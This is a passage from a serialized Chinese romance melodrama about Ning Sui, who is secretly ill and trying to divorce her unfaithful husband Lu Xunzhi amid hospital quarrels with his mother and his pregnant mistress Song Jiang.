对方听到声音看过来,看到宁穗的时候,脸上的戾气很重,但目光一转,越过她看到唐佳笑,视线一顿,看到她身后没别人。 他的脸色微妙地变了变。 “奶奶还没醒。”陆勋之挂断了电话走过来,跟宁穗简要说了一下情况,“心梗发作,做了支架。身体太虚弱,醒了又睡过去。” 宁穗的心像坐过山车一样,忽上忽下,语气又急又气,“怎么会心梗,奶奶一直都有体检,这两年身体很健康。” 陆勋之抿唇,他也不知道。 接到郑美婵电话的时候,他也是一愣。 这两年老太太很注重养生,她知道自己的身体重要。 不只是为了自己,也是为了陆家,要是她倒下,还不知道会闹出什么乱子。 宁穗走到病房里,远远看了老太太一眼,对方脸色泛白,看着比平时老了好几岁。 宁穗心里很难受,唐佳笑抱住宁穗,安慰她,“陆奶奶吉人自有天相,你先别着急了,在陆家医院不会有事的。我去帮你买点吃的,你还饿着肚子呢。” 宁穗抿唇点头,“谢谢。” 唐佳笑看了陆勋之一眼转身离开,一句都没问他要不要吃东西。 不关心。 宁穗坐下,双手捧住脸,完全没有继续交谈的意愿。 身旁窸窸窣窣,陆勋之坐下,但也没有说话。 宁穗坐直了身子,拿出手机,给王习发信息。 她打算留下来,一会儿让王习带唐佳笑先回去。 发完信息,她余光瞥见陆勋之一只手在手机店,另一只手放在大腿上,手掌缠了厚厚的纱布。 想到之前助理说他的手受伤了,好像伤口还不浅。 换做以前,宁穗一定会心疼和关心他。 但是现在…… 宁穗收回视线,闭上了眸子。 完全无视他的手。 耳边传来男人很轻的冷哼声,随即脚步声远去。 宁穗睁开眼,没见到陆勋之。 更好,不想见,她再次闭上眼,这两天有些累,今晚上还不知道熬到几点,她要养精蓄锐。 没一会儿一阵乱糟糟的脚步传来,温泠倏地睁开眼睛。 啪! 宁穗被突如其来的巴掌,扇的脸摆到一边,脸颊火辣辣的疼。 “都是你!”郑美婵厉色指着她,“老太太对你这么好,你居然要她的命!” 宁穗呼吸一沉,抬脸看向她,一脸茫然。 “你干什么?”唐佳笑正好回来,推了郑美婵一把。 对方没防备,趔趄了好几步,扶住墙,才勉强站住。 唐佳笑护住宁穗,看到她通红的脸颊,心疼的红了眼,“你没事吧。” 宁穗抿唇摇摇头。 唐佳笑气急,转脸瞪向郑美婵,“你怎么打人啊?你这么喜欢打,你倒是打你的儿子去啊?要怪也是怪你自己没管好儿子,在外边乱搞,穗穗这么乖,关她什么事?” 宁穗拉住唐佳笑,示意对方别说了。 她不想闹大,奶奶现在本来就不好,她不想给奶奶添麻烦。 唐佳笑一阵输出,郑美婵一个贵妇人,这么多年,哪有人敢这么说她。 她竟然一时语塞,气得脸色通红。 手指虚空,在两人之间来回指。 “在闹什么?”陆勋之出现,视线快速扫过地上的食物袋子。 唐佳笑带过来的粥撒在地上,不能喝了。 他抬眼,视线落在宁穗的脸颊上,微微蹙眉。 “你奶奶就是被她气心梗了,我打她不是应该的?”郑美婵完全不觉得自己有错。 又指着唐佳笑,“她居然推搡我,跟这样的泼妇做朋友,宁穗能是什么好东西?” 宁穗本来不想跟郑美婵闹,但是她现在说自己的朋友是泼妇。 她一把将唐佳笑挡在身后,“你什么都不说就打我,我朋友维护我,这是我们感情好。说到底,你的行为更像泼妇。” 这还是宁穗第一次正面反驳郑美婵。 郑美婵愣了一下,气笑了,“你说什么?” 竟然说她是泼妇? “勋之,这就是你维护的老婆?她这么对你的母亲,你还跟她过什么?结婚五年,连个孩子都生不出来,要她到底有什么用?” 陆勋之垂着眸子没有说话。 唐佳笑看着两母子,气不打一处来,“这么想生,找个母猪啊!一胎十八个崽!哦,我倒是忘了,你们早就找到了。” 一语双关,骂陆勋之是公猪,宋姜自然就是母猪。 这话一出,瞬间死寂,一阵淡淡的抽泣声,打破了沉默。 所有人的目光被这稀碎却又存在感很强的声音吸引过去。 宋姜眼圈通红,眼泪扑簌簌地掉,“对不起,我不是故意听的,我是担心陆奶奶所以来看看。” 说着,她走到宁穗这边,对她九十度弯腰,“宁穗,你不用对我敌意这么大,我也只是想生活下去而已。我一个人,也很难。” 难?难就去抢别人的老公,怀一个私生子出来吗? 唐佳笑心口都快气炸了,想开口骂人,却被宁穗拽住了手。 宁穗冲她暗暗摇头。 这种时候,宋姜这样的态度,无非就是在示弱。 她再咄咄逼人,最后吃亏的只能是自己。 陆勋之满脸担忧,关切地问宋姜,“你怎么来了?你不是不舒服吗?你现在不能弯腰。” 宁穗早就心寒了,但是听到这句话,她的心还是像被什么刺了一刀,火辣辣的疼。 刚才郑美婵打她的时候,陆勋之什么都没说。 现在宋姜不过是来说两句话,他就能心疼成这样。 那她这五年算什么? 看着他们你侬我侬,唐佳笑实在看不过眼,“恶心。” 宋姜脸色瞬间纸白,整个人摇摇欲坠似的,小心地抓住陆勋之的衣角,“勋之……” 陆勋之脸色不虞,扫了唐佳笑一眼,视线落在宁穗身上,“道歉。” 第13章 别闹了,好不好? 唐佳笑一把将人拉到身后,“我骂人,你凭什么让穗穗道歉?我就不道歉,你们的深情给谁看呢?你爽那两分钟的时候,有没有想过你老婆快要——”死了! 宁穗抓住了唐佳笑的手,暗暗示意她不要说了。 唐佳笑眼底瞬间蓄满了眼泪,心口疼得不行。 她知道宁穗担心什么。 现在还没离婚,陆家母子就这么护着宋姜。 万一宁穗的病情被他们知道,没准就会拿这件事拿捏宁穗。 也许宁穗连生死都要看他们的脸色。 斗不过的。 宋姜暗暗观察两人的微表情,垂了眸子,不知道在想什么。 “宁穗,她是你的朋友,这次我可以既往不咎。不要有下次。”陆勋之的警告声砸下来。 唐佳笑突然有些后悔,她不该冲动,给宁穗惹麻烦。 宁穗瘦弱的身躯,再次挡住唐佳笑,“陆勋之,你没资格威胁我的朋友,任何一个正常的女性,看到自己的老公护着别的女人,都会受不了。” 陆勋之一愣,随即嗤笑一声,“你也会在乎吗?” 宁穗呼吸一滞,她的心被扎了一个又一个窟窿。 明明已经劝服自己不要在乎,可早已经千疮百孔的心,还是会呼呼漏风。 她深吸一口气,看向陆勋之,语气中透着死气,心如死灰,“下周一,去民政局领证吧。” 宁穗的话一出,所有人都看向她。 在众人看不到的角度,宋姜微微勾起嘴角。 郑美婵很是轻蔑,她才不信,宁穗会放弃荣华富贵。 她们母女俩以对老太太的恩情挟恩图报,嫁给陆勋之,不就是想过人上人的生活吗? 她会轻易放弃? 不过是欲擒故纵的把戏而已。 “勋之,那就离,我们陆家还没有沦落到被一个不入流的女人来拿捏。”郑美婵傲慢地说。 “够了,奶奶还在休息,闹什么?”陆勋之几乎是低吼出声。 闹? 所以到现在,陆勋之也觉得她是在闹吗? 宁穗刚要张嘴说什么,病房内发出声响。 身体快过脑子,她快步冲进了病房。 陆奶奶睁开眼,但脸色灰白,浑浊的眼珠更加没神。 宁穗看得心都快碎了,赶紧上前,呼叫了护士台,然后轻声细语地问,“奶奶,您哪里不舒服?” 奶奶颤抖着手,抓住宁穗的手,声音嘶哑难听,“穗穗,不能跟勋之离婚,乖。” 宁穗呼吸一滞,刚才她的话,被奶奶听到吗? 她突然有些内疚,不该在这种场合说这话。 奶奶会伤心。 这些年,不管陆勋之和郑美婵对她多不好。 奶奶是真心待她的。 宁穗吸了吸鼻子,“奶奶,您好好休息,什么事都不要想。” 陆勋之走到另一边,抓住老太太的另一只手,被老太太甩开。 但她没什么力气,只是抽回去,就用光了。 陆勋之一愣,但也没有强求,抬起眼皮看向宁穗。 其他人都没有跟进来。 医生很快赶来,给陆奶奶做了检查。 “陆总,老夫人的身体没有大碍,但是不能再受刺激。需要静养。” “好。” 医护人员出去,房间里又剩下祖孙三人。 陆奶奶的精神不济,这会儿又昏睡过去。 宁穗帮奶奶塞好被角,看着她有些失神。 另一侧的男人起身,宁穗没分给他一个眼神。 身后的房门开了又关,宁穗没看一眼。 等陆奶奶睡得更安稳一些,宁穗才悄悄起身出去。 小客厅里只剩下唐佳笑,她看到宁穗,赶紧迎上来,压着声音说:“陆奶奶没事吧。” 宁穗将医生说的话复述了一遍。 “陆奶奶这两年,吃了你妈妈给配的药,不是身体挺好吗?怎么会这么突然病倒。太奇怪了。”唐佳笑不得其解。 她突然想到什么,“不会是宋姜怀孕的事,她知道了,被气的吧。” 越想越觉得是。 “穗穗,你什么打算啊?那家人太不当人了,连老太太都给气倒了。” 宁穗抿唇,她现在也有些乱,但是陆奶奶她一定会管。 “笑笑,你和师兄先回去吧。我今晚留下来照顾奶奶。” 唐佳笑不乐意,“你自己都病着呢,你还照顾别人?要不我留下吧。” 宁穗摇头,“不合适。” 刚才唐佳笑和郑美婵他们针锋相对,要是万一他们用唐佳笑照顾陆奶奶做文章,那就说不清了。 唐佳笑自然也理解宁穗的意思,叹了口气,“那好吧,你别勉强,不舒服就休息。这里有医生护士也有护工。穗穗,你也要顾着自己。” 后边两个字,唐佳笑都有些哽咽。 宁穗病了的事,只告诉了她,可是她现在什么忙都帮不上,都快难受死了。 “你放心吧,我很惜命的。”宁穗笑了笑,眼底有些泪花。 在最艰难的时候,还有一个好朋友掏心掏肺地对自己,宁穗觉得特别幸福。 宁穗送唐佳笑出去,顺便买了一些洗漱用品,打算凑合一下,明早再回家去拿自己的。 回到房间的时候,看到陆勋之坐在沙发上,垂着眸子不知道在想什么。 她愣了一下,还以为陆勋之去陪宋姜了。 不过这都跟她没关系。 她全当没看见,打算去洗手间洗漱一下。 洗手间在里面,必须要路过沙发这边。 宁穗尽量溜着边走,想离得陆勋之远远的。 还特意加快了脚步,但路过的时候,手腕上一沉。 她仿佛触电似的想要躲开,男人却猛地用力将人往跟前一拉。 宁穗扑坐在他腿上,双手按在他的肩头。 清淡的雪松香强势钻进她的鼻尖,还有淡淡的烟草味。 陆勋之很少抽烟,只有特别烦躁的时候,才会抽两根。 是因为陆奶奶,还是因为宋姜呢? 也许两者都有。 宁穗怔愣了一瞬,突然意识到这个姿势实在暧昧,她想起身,对方却死死箍住了她的腰。 “你放开我!”宁穗压着怒气控诉,“这是在医院!” 陆勋之一双眸子攫住她,一眨不眨,语气竟有一丝温柔,“别闹了,好不好?” 宁穗茫然地看着他,所以陆勋之一直觉得她在闹。 博关注,耍手段。 不爱你的人,就算你在上吊,他也会觉得你在荡秋千。 第14章 你着急离婚想干什么?谁在等你 宁穗自嘲地哼笑一声。 她凭什么会觉得陆勋之会心疼她,在乎她。 会把她说的话当回事呢? 这些年,除了在那档子事上,他有给过好脸色吗? 是啊,她现在就是一个挟恩图报、欲擒故纵的心机女人。 那种强烈的羞辱感又涌上来。 她猛地站起身,挣扎中不小心按到陆勋之受伤的手。 男人轻嘶了一声。 宁穗瞳孔一缩,下意识地想上前查看,但是腿刚要迈动,理智将她拉回去。 别犯贱了,宁穗,他都不在乎你的死活,你还管他做什么? 让他继续觉得你是个,可以随意呼来唤去的人? 宁穗冷淡开口,“明天抽个时间去领证吧,一个月的冷静期,早点领证,早点结束。” 再等,他的心上人肚子都该显怀了。 说完,宁穗直接转身要走。 “跟我过够了是吗,宁穗?”男人的声音透着一丝阴冷。 宁穗顿住步子转头看他,仿佛一只大手抓住她的心脏,使劲捏,快要捏碎了。 明明错的是他,最后还要将错归到宁穗身上。 凭什么? “陆勋之,你就不能坦荡一点吗?”宁穗语气有些快。 一直劝自己要冷静,可她的心也是肉长的,无法冷静。 到底是自己爱了一个青春的男人。 她舍不得的从来都不是这个男人,而是她曾经付出的真心。 “那你呢,宁穗,你坦荡吗?” 宁穗一怔,“你什么意思?” 陆勋之缓缓靠在椅背上,微微扬起下巴,带着上位者的威压。 刚才一闪而过的温柔仿佛是宁穗的错觉。 “你着急离婚想干什么?谁在等你?” 羞耻感瞬间吞没宁穗,脏水非要往她身上泼吗? 宁穗胸口起伏得厉害,眼前黑了一下,身子晃动,扶住旁边的墙勉强站住。 她常常在想,是不是她受了太多气,才会得病。 宁穗闭了闭眼,许久,才哑声开口,“是我错了,陆勋之,我不该喜欢你,不该嫁给你。我以为时间总会饶恕一切,没想到都是我的妄想。就这样吧,结束吧,好不好?” 与其说她是在求,更像是绝望之后的冷漠。 只要放她走。 陆勋之长久的沉默,宁穗抬眼看向他。 对方缓慢起身,并没有回答她的问题,拿起旁边的保温盒,塞到她手里,什么都没说,转身走了。 门在眼前合上,宁穗觉得自己所有的力气都被抽空。 后知后觉想起来,陆勋之根本没有答应她时间。 她又拿出手机,给对方发信息,【明天去民政局吧。】 对方没回。 宁穗浑身像是被抽空了力气,她跌坐到沙发上。 垂眸看着手里的饭盒,她手指颤抖着打开,粥香随之弥漫出来。 刚才郑美婵一闹,唐佳笑给她带的饭都撒了。 她折腾一晚上还什么都没吃。 宁穗看着手里的粥,陷入了沉思。 …… “你确定这是最新的体检报告?”宋姜扬起手里的报告,有些不敢相信。 每项指标都很标准,健康的有些难以置信。 “对,陆家的人每年的体检都是在自己家医院做,我是从系统里调的。”白玲不解,“你怎么突然要查宁穗的体检报告?” 宋姜也不知道为什么。 但她今天看到唐佳笑说起宁穗的时候,明显后半还有半句。 宁穗看上去也瘦弱了不少,跟刚结婚的时候,样子很不同。 “可能是我多虑了吧。”宋姜扶额,“我以为宁穗得了什么绝症。” 白玲是妇科医生,宋姜怀孕到现在,一直都是她管。 两人还是好朋友,什么话都会跟对方说。 “你别想那么多,宁穗不是要离了吗?你就安心等一等。你肚子有孩子,还怕陆家不认?这可是长孙。” 白玲的话也有道理,宋姜点点头,但她还是不放心。 陆勋之现在的立场很暧昧。 万一他不肯离婚了呢? 宋姜,“你再想办法帮我查查,宁穗也许在其他医院有就诊记录。” 如果她真的生病,那她倒是可以送宁穗一程,永绝后患。 白玲点点头,“好,我帮你去查查。” …… 宁穗在陪床的床上睡了一晚,但睡得不踏实,醒了好几次,总是担心陆奶奶有什么事。 快要天亮的时候,她才沉沉睡去。 睡梦中,觉得有人在摸自己的脸颊。 但她身子很沉,怎么都醒不过来,只当是做梦。 早上她是被稀碎的聊天声吵醒的。 缓缓睁开眼,医生已经来查房,陆勋之在一旁垂着眸子听。 余光似是瞥见她这边的动静,视线投过来一瞬,打量了她两眼,又收回去。 宁穗脸颊一热。 她来陪床的,结果睡到现在,医生都来查房了。 她抿唇瞪了陆勋之一眼,他居然不叫醒她。 宁穗赶紧起身,去洗手间,简单洗漱了一番,就匆匆出来,跟在后边,听医生说。 “老夫人的情况已经稳定下来,后续休养一定要注意。还是那句话,不能再受刺激。” “好,知道了。” 医生出门,宁穗坐到陆奶奶身边,“奶奶,没事了。” 陆奶奶脸色明显比昨天好了一些,抓住宁穗的手拍了拍,“乖孙,你只要跟勋之好好的,我还能再活五十年。” 宁穗眼睫颤动,没有回答她的话,“奶奶,您这次是怎么了?遇到什么事了?我能帮忙吗?” 陆奶奶脸色一顿,眼底闪过一丝不自然,迅速摇头,“没什么。你别管别的事,奶奶还能顶事,总之不会让你受委屈。外边那些居心叵测的人,你不用在意。你是陆家唯一的孙媳妇,放心。” 虽然老太太没有明说,但是昨晚就说不让她离婚,今天又说让她跟陆勋之好好过日子。 那十有八九是知道宋姜怀孕的事了。 宁穗唇角抿成直线,所以奶奶知道宋姜的事,还要让她继续跟陆勋之在一起。 是要她继续忍吗? 她心里突然觉得很不舒服。 她根本不在意陆家孙媳妇的头衔。 她只想要一个忠心不二的丈夫,这也是奢求吗? 宁穗想离婚的心更加坚定。 她刚想张嘴说什么,肩膀上一沉,陆勋之的手落在她的肩头。 男人低沉的声音砸下来,“奶奶,你放心,我和宁穗,不会离婚。” 第15章 后悔爱上陆勋之 宁穗倏地看向身侧的男人,对方抓着她肩膀的手,微微用力。 抓得她的肩头有些微痛。 她知道,陆勋之并不是多舍不得她。 而是做给陆奶奶看的。 老太太现在身体还没完全恢复,医生反复强调,不能受刺激。 可要宁穗说假话,她说不出口。 这么多年的自己,受过的苦和侮辱,不允许她说。 但她迎上陆奶奶期待的眼神,她也没能说出残忍的话,只微微一笑,算是默认。 陆奶奶满意地点点头,等她休息了。 两人退出房间。 宁穗上前,“刚才我只是不想奶奶不开心。今天你要是有空还是去民政局吧。” 陆勋之的脚步一顿,冷冽的眸子斜过来,“可以。” 宁穗一顿,本以为他还会拉扯,没想到这么干脆,“那现在——” “账已经算好了。”陆勋之低头,在手机上操作了一番。 宁穗手机响起,一个文档发过来,她打开一看,是一张捐款列表。 “这是五年来,以你的名义捐出去的善款,你还给我,我就跟你离婚。” 陆勋之的话,让宁穗瞬间冻住。 这些年陆勋之送过她很多礼物。 其中有一项,就是以宁穗的名义捐款给孤儿院。 她小时候待过的孤儿院。 并不是她对那里多有感情,而是不想那里的孩子,像自己小时候那样过得那么艰难。 当初要不是养母收养了她,她都不知道会不会健康长大。 结婚第一年,陆勋之问她想要什么礼物的时候,她说过,要不把钱折现,捐给孤儿院。 陆勋之同意。 是助理每年捐的,还找了监管机构来监管,防止有人贪墨。 宁穗没有管过,如今看到表格里惊人的数字,她茫然地看向陆勋之。 前前后后竟然捐了五百万。 让她还? “我是为我太太做善举,才捐款,既然你不想当这个陆太太,那就以你自己的名义去捐。”陆勋之眉眼冷漠看着她。 俨然一副谈生意的模样。 宁穗的呼吸一滞,垂在身侧的手缓缓蜷起。 所以,在他心里,他们的感情就是一笔生意吗? 一笔笔账算下来,宁穗的心更硬了几分。 也好,算清楚,分得更明白。 “好。”宁穗听到自己说,“我还给你。但我需要时间,我给你打欠条,等离婚后,我慢慢还,可以吗?” “不行。”陆勋之收起手机,“什么时候还清,什么时候再说离婚的事。” 说完,男人根本不给她还价的机会,径直离开。 宁穗跌坐进沙发,手指甲嵌进掌心,眼睛闭着,眼睫却止不住地颤抖。 手机响起,有人要加她的好友。 打开一看,是宋姜。 两人之间一直没有交集,见过这几面也并不愉快。 对方显然没有安好心。 宁穗想忽略,但是转念一想,陆勋之现在就是故意为难她。 也许她能从宋姜这找到突破点。 她点击了通过。 但宋姜并没有发信息过来。 宁穗鬼使神差地打开了她的朋友圈。 今早上刚发过一条。 配图是早餐,倒是没什么,只是普通的西式早餐,但是餐具很特别。 宁穗对艺术品本来就敏感,她放大图看,是古董藏品,百万级别。 这种级别的,没人会拿来吃早餐用。 宁穗退出图片,看到配文,【他送的。】 不知道是早餐,还是餐具。 但是这种餐具,对陆勋之来说,也不过是九牛一毛。 百万级别的盘子,就让宋姜来吃早餐用。 捐献善款,却让她如数奉还。 爱和不爱,真的差别很大。 宁穗的胸口痛得发紧,眼泪不争气地涌上来。 模糊了她的视线。 宁穗心里冒出来一个念头,她现在前所未有地后悔。 后悔爱上陆勋之。 …… 一周后,陆奶奶回老宅休养,不能见客。 宁穗送陆奶奶回老宅。 但她没多逗留,老宅里佣人多,也不用她照顾,她想赶紧回工作室。 最近唐佳笑知道她缺钱,帮她拉了几单活。 路过客厅的时候,郑美婵正在跟宋姜说话。 “周家的宴会很重要,我让人送去的礼服和首饰,你都试过了吧?到时候会带你去做个妆造。” 宋姜乖巧点头,“阿姨,我都试过了,很合适,谢谢阿姨。” 宁穗脚步一顿,郑美婵竟然要带着宋姜去周家宴会吗? 难道公开带她出去见人? 宁穗没多停留,转身离开。 晚上宁穗接到了桑甜的电话。 “穗穗,你没在家吗?我让人送了东西给你,说是家里没人。就先放在物业了。” 宁穗愣了愣,低头看眼时间。 桑甜是说要送东西给她,约的六点,但是她在工作室忙忘了。 家里的佣人也都被陆勋之赶走了,陆勋之这几天更是没有回家。 她这几天暂时住在唐佳笑家,她不想让人知道自己的情况。 于是就约了桑甜的人,到景园见面,想着拿了东西,她就直接走了,不会跟陆勋之碰上。 “对不起啊,甜甜,我现在回去。”宁穗起身准备往外走。 桑甜似是犹豫了一下,轻声问,“宴会你会来的吧?” 宁穗出了工作,摁了电梯按钮,“会的。” “好,那到时候见。” 宁穗打车回了景园,去物业拿东西。 物业的人却说已经送到她家,宁穗回到别墅,看到房子里开着灯。 难道陆勋之在? 宁穗已经搬走了,也不知道陆勋之换了密码没有。 她没有试,免得陆勋之又说她还把这里当自己的家,完全没有要离婚的觉悟。 按响了门铃,宁穗便撤开半步等待,十几秒后,房门被人从内打开。 屋内暖黄的灯光照出开门人的身影,十分柔和。 但宁穗看清对方的脸,瞬间被泼了一盆冷水一般。 “宁穗,你怎么来了?”宋姜有些诧异。 宁穗垂了眸子,视线却被宋姜的脚吸引过去。 淡粉色的拖鞋,是她专门买来,跟陆勋之的深灰色,是情侣款。 抢她的老公还不够,现在还要登堂入室,住她的房子,穿她的拖鞋吗? 两人分站在门内门外,宋姜比她更想这个家的女主人。 宁穗的心像被一只大手掐住,她的左手抓住右手的手腕,指甲掐进了肉里。 疼痛感,让她找回自己的声音,“我朋友送了东西过来,我来拿。” 宋姜,“好,你稍等。” 话音刚落,厅里走过来几个人,“陆太太,客厅的装修方案,我们会尽快给您效果图看。” 第16章 你输了 宁穗浑身一僵。 装修? 宋姜已经来景园住了?真的要当这里的女主人? 可陆勋之拖着不离婚是什么意思? 当她宁穗是什么? 她的尊严就这么被践踏吗? 屈辱混着怒火涌上来,宁穗垂在身侧的手蜷成拳头。 那几个人离开,只剩下宁穗和宋姜。 “宁穗,你是说一个大纸盒吗?你稍等一下,我去给你拿啊。” 宋姜说完直接转身回客厅,轻车熟路的,就好像这里是她的家。 宁穗自嘲轻笑。 当年的婚礼上,陆勋之可以为了宋姜离开,到现在让宋姜住她的房子,又算什么呢? 这五年的婚姻生活,这里全是她和陆勋之的痕迹。 现在成了另一个女人的窝,宁穗心里不难受是假的。 “宁穗,不好意思啊。”宋姜拿了一个破破烂烂的盒子出来,满脸抱歉,“刚才工人们收拾东西,以为是不用的,不小心弄坏了。” 宁穗一愣,盒子被不明液体浇湿变形,看上去破败不堪。 她一把抢过来打开看。 里面是一套香槟色的晚礼服,被浸湿的盒子染了色。 这种高档布料,都是不能随意沾水的。 更别说染色。 桑甜给她送的礼服,让她参加周家的晚宴。 她现在跟陆勋之在闹离婚,陆奶奶又病了,陆家自然不会管她参加晚宴的行头。 可是去那种场合,穿着随便,必然是在打主人家的脸。 刚才那股屈辱完全被怒火替代,她冷冰冰地看向宋姜,“你是故意的。” 宋姜视线微偏,扫了一眼宁穗身后,随即凑近压低声音笑着说:“是啊,我就是故意的。” 啪! 宋姜的脸偏向一边,整个人也往旁边撞过去,肚子不偏不倚撞到玄关的边角。 她脸色倏地一白,人像没了骨头一样,缓缓滑下去,眉心皱出疙瘩。 宁穗愣了愣,她现在病着没什么力气。 哪有力气掀得宋姜人仰马翻? 身后传来急促的脚步声,随即宁穗肩膀上被一个力道撞了一下,她趔趄了一下,撞到门框上,手下意识一撑,扭到了。 宁穗疼得眼前一黑。 捂着手腕蹲了下去。 她再睁开眼的时候,只看到陆勋之的背影,他怀里抱着宋姜。 刚才还弱不禁风的宋姜,掀开一点眼皮,勾唇看着宁穗,用嘴型说:“你输了。” …… 唐佳笑赶到的时候,宁穗身上已经冻凉了。 她就坐在景园的别墅门口,看上去像个无家可归的孩子。 唐佳笑红了眼红上前,抱住宁穗,搓她的胳膊给她取暖。 “穗穗……” 宁穗僵硬回头看向唐佳笑,想挤出一个笑容,但是脸有点冻僵了,“笑笑,又要麻烦你了。” 她声音都冻得有些发抖。 唐佳笑,“你为什么不去屋里等啊,现在天多冷啊。” 十月底的御城已经转冷,这两天更是急速降温。 宁穗眼眶一热,她不想进去,那里已经不属于她。 那是别人爱的小窝。 宁穗吸了下鼻子,“没事,我就是手腕有点不舒服,拿不了东西。麻烦你了笑笑。” 唐佳笑生气,“跟我你还客气什么?我帮你拿。手腕怎么样?要去医院看看吗?” 宁穗摇头,“回去擦点药就好了。” 她这几年被郑美婵压榨,有时候工作量大,手腕也累出了腱鞘炎,她准备了不少药贴和药水。 两人回到唐佳笑的家,唐佳笑帮她擦了药,好了很多。 宁穗洗了热水澡,又喝了感冒药,才缓了过来。 “穗穗,衣服上的颜色弄不下来。”唐佳笑已经想了办法,但是还是不行。 宁穗看了看,好在沾了颜色的地方在裙摆的下方,明天晚上就要用了,她也没钱去租新的。 “没事,我剪掉一部分,先对付一下吧。” 宁穗着手修改裙子,唐佳笑也帮了一会儿忙,但随即哈欠连天。 这几天她也在赶大活,睡眠严重不足。 “笑笑,你去睡吧,还有一点,我自己弄就行。”宁穗看她这么疲惫,实在心疼。 “没事,我还行。”唐佳笑又打了一个哈欠,被宁穗推到卧房门口。 “那行,你赶紧弄完也早点睡。”唐佳笑这才回了房间。 宁穗低着头继续弄,手腕上不时传来刺痛,她戴上护腕,也只是微微缓解。 好不容易改完,她终于松了一口气,手腕疼得有些发麻,宁穗甩了甩,拿起裙子来检查。 勉强可以用,她的针脚很细,不走近,基本看不出来。 她小心翼翼地叠好裙子,还没来得及放进袋子里,大门铃声响起。 随即是急促的敲门声。 宁穗吓了一跳,这都十二点多了,谁会这么砸门。 她轻手轻脚地走过去,在电子猫眼里一看,她瞬间愣住。 陆勋之? “宁穗,我知道你在里面,开门!不然我就卸掉门!” 陆勋之的声音裹着怒气。 宁穗没想到他会找到这来,难道宋姜出事了? 来找她算账? 太晚了,宁穗怕邻居投诉,影响唐佳笑,赶紧打开门。 男人冷涔的视线落在她身上,目光扫过她的家居服,脸色明显更沉了几分。 他推门而入,打开各个房间,不知道在找什么。 眼看他要去开唐佳笑卧室的门,宁穗闪身过去,张开双手,挡住门,“你干什么?” 陆勋之的眼底翻涌起风暴,好像要撕碎她一般。 宁穗不知道他在闹什么,压着怒气,语气压抑,语速很快,“我是打了宋姜,你要是想让我道歉,我不会去。大不了就去告我吧。” 她也是别着劲,欺负人也要有个限度。 陆勋之眼底闪过一丝不解,随即要推开宁穗去开门。 宁穗死死扒着门框。 她的生活已经屈辱不堪,难得还有唐佳笑这个好朋友,在自己最难的时候,收留自己。 现在陆勋之要闯进去,丢的不是他的脸,是在啪啪扇宁穗的脸。 眼看陆勋之要拉开她,宁穗的眼圈倏地红了,“陆勋之,够了!算我求你了!” 她的声音破碎又绝望,好像她已经在悬崖边。 要是陆勋之再上前一步,就是送她去死一样。 男人的动作僵住,视线落在她通红的眼角。 眼泪就在她眼里打转,却倔强地没有掉下来。 陆勋之眉心拧出小山,“宁穗,你就这么迫不及待?” 第17章 要带她做全身检查 那种无力感再次窜上来。 宁穗觉得自己真的快要疯了。 陆勋之明目张胆的出轨,却要给自己套上一个同样的罪名。 他是觉得这样可以减轻自己的罪责感吗? 宁穗怔怔地看着他。 陆勋之也没再继续,他一眨不眨地看着宁穗,脚步往后撤。 仔细看还能看出几分狼狈。 他转过身,视线落在那个裙子上,“就是为了这条裙子打宋姜?” 宁穗茫然看过去,见男人抬步上前,后知后觉意识到什么,她赶紧跑过去阻拦。 但还是晚了一步,陆勋之抓起裙子,高高举起。 宁穗的身高根本够不到,小丑一样跳了两下作罢。 她尽量好声好气,“陆勋之,你还给我好不好?” “谁送的?”陆勋之突然问。 宁穗一愣,她不敢说出桑甜。 明天的宴会,她是否能得到周夫人的青睐,还是未知数。 这个时候,要是让陆勋之知道,她私下跟周夫人的儿媳妇桑甜交好,并且想讨好周夫人。 也许他会横插一脚。 毕竟她有了靠山,陆勋之很难再揉圆搓扁宁穗。 她抿唇没说。 这个举动激怒了男人。 “啊!不要!” 嘶啦—— 裙子上身被扯烂。 娇贵的面料瞬间被撕碎。 根本没有修补的可能。 啪! 陆勋之脸被打得偏向一边,他缓缓转过来,眼底满是不可置信。 宁穗的手掌发麻,手腕更是疼得钻心。 那股怒气已经冲上天灵盖。 宁穗快要爆炸了。 她胸口剧烈起伏,眼前有无数的黑色点点在飞舞。 下一秒人失重滑倒,失去了意识。 “穗穗,你怎么——啊!穗穗!”卧室门被从内打开,睡眼惺忪的唐佳笑瞬间被眼前的景象吓醒透过来。 她冲上来一把推开扶着宁穗的陆勋之,“你对宁穗做了什么?” 唐佳笑的眼泪夺眶而出,她胡乱抹了一把脸,想要抱起宁穗,但是根本拖不动。 陆勋之轻松地将人打横抱起。 宁穗恢复了些许意识,但眼睛睁不开,嘴里呢喃,“陆勋之……你别碰我……” 她嫌脏。 陆勋之眉心皱出川字,语气硬邦邦的,“动不动就晕倒,你是纸糊的吗?去医院做个全身检查。” 一旁的唐佳笑,看到破碎的裙子,还有陆勋之脸颊上的淡淡红印,大概也猜到了刚才的情况。 听到陆勋之要带宁穗去医院,她吓坏了。 为了宋姜,都能半夜杀过来欺负宁穗。 那可是宁穗补了一晚上的裙子,全毁了。 这要是知道宁穗身患绝症,还不知道怎么欺负她,不给她活路。 唐佳笑横身拦住陆勋之的去路,“你别折腾她了,她就是这几天太累了,吃饭不规律,有些低血糖。休息一下就好了。去医院要折腾半天,她更不舒服。” 唐佳笑的话说得颠三倒四。 但是陆勋之犹豫了一下,也没有继续强求,缓步走到沙发边,将人轻轻放下,“去准备点糖水。” 陆勋之的声线没什么起伏,但自带上位者的威压,一副命令人的样子。 唐佳笑在他身后,不爽地做了个鬼脸,但也不敢再惹他,乖乖去厨房准备了温糖水端过来,要喂给宁穗。 陆勋之却先一步接过去,让宁穗靠在自己肩膀上,一勺勺喂给她。 唐佳笑看着眼前的景象,使劲揉了揉眼睛。 她是还没睡醒吗? 怎么会看到这种不科学的场面。 陆勋之那个样子,哪里像是要离婚的冤家,更像是疼惜老婆的男人。 她甚至在陆勋之的眼底,看到一丝疼惜和爱意。 唐佳笑使劲闭眼再睁开,陆勋之的眼神又恢复了冷淡,仿佛刚才是她的错觉。 宁穗喝了几口糖水,确实缓和了不少,能睁开眼睛,但是身体僵硬得不听使唤。 腰上的力道很重,压着她根本脱离不开。 “裙子也毁了,你也替宋姜出气了,可以走了吗?别影响我朋友休息。”宁穗有气无力地说,垂着眸子根本不看陆勋之。 男人抿唇,随即看向唐佳笑,“这是你家?” 唐佳笑愣愣地点头,“啊,不是我家,难道还是你家?” 陆勋之眯了眯眸子,眼神冷得瘆人。 唐佳笑倏地闭嘴。 死嘴,惹他干嘛! 宁穗缓慢起身,往旁边挪了挪,恨不得离陆勋之八丈远。 